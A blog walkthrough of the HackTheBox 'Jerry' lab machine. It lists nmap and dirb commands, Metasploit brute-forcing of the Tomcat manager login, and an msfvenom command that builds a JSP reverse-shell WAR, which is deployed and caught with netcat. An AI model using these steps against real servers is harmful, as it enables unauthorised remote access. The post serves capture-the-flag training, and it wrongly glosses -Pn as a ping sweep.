HTB JERRY Walkthrough

HackTheBox Jerry Walkthrough


Starting with knowing our IP (after connecting to the openvpn of HTB)
Command to know our IP - ifconfig



Now lets see what is the IP of the machine we are targeting (By just clicking the name of the machine in htb) . i am targeting machine named JERRY . IP(10.10.10.95)


Scanning Phase
nmap -A 10.10.10.95 -Pn
A - denotes aggressive scan
Pn - used for ping sweep
Nmap revealed http service active on port 8080 and also revealed tomcat

So i browsed IP on the web browser to see the web page (because http service is active )
Url - 10.10.10.95:8080
(Have to mention port because by default http service runs on 80 but in this case it’s 8080 so have to mention that)

Now fired up dirb to find the directories if any
Command : dirb http://10.10.10.95:8080
Results are shown below


One by one i managed to open the links but found nothing and at last i opened up the link i.e http://10.10.10.95:8080/manager
Prompted up with login panel of tomcat(as mentioned in nmap scans)


Click cancel so you’ll redirected to a page with an html file where you will get username and password .


The other way is to Bruteforce the panel with tomcat auxiliary.
Fired up msfconsole and searched for tomcat auxiliary
Command - search tomcat


Selected tomcat application manager login utility(see description of every result)
Command - use auxiliary/scanner/http/tomcat_mgr_login
Explored the requirements needed to run the scanner i.e rhosts


Fullfilled the requirements of the scanner.
Command - set rhosts 10.10.10.95
Rhost - victim IP
And run the scanner finally to start the bruteforce
Found uname as tomcat and pass as s3cret


Finally logged in with credentials


On scrolling i got option to deploy the war file ,so i can make war payload and deploy it for reverse connection


Payload generation with msfvenom
Msfvenom -p java/jsp_shell_reverse_tcp lhost=10.10.15.2 lport=1337 -f war > /root/Desktop/reverse.war


Uploaded the payload named reverse


Started netcat(swiss army knife) to listen on port 1337
And simultaneously clicked on the deployed payload i.e reverse and got the reverse connection.
(got shell of the machine)


Further explored the directories for flags and got two flags .
cd users>administrator>desktop>flags


I used more command to read the flags .
Command - more “filename” and submit the obtained flags in HTB .

Popular posts from this blog

Calculat3 M3 | CTF Learn

TryHackme: Blue Walkthrough

CTF - Dina : 1.0.1 walkthrough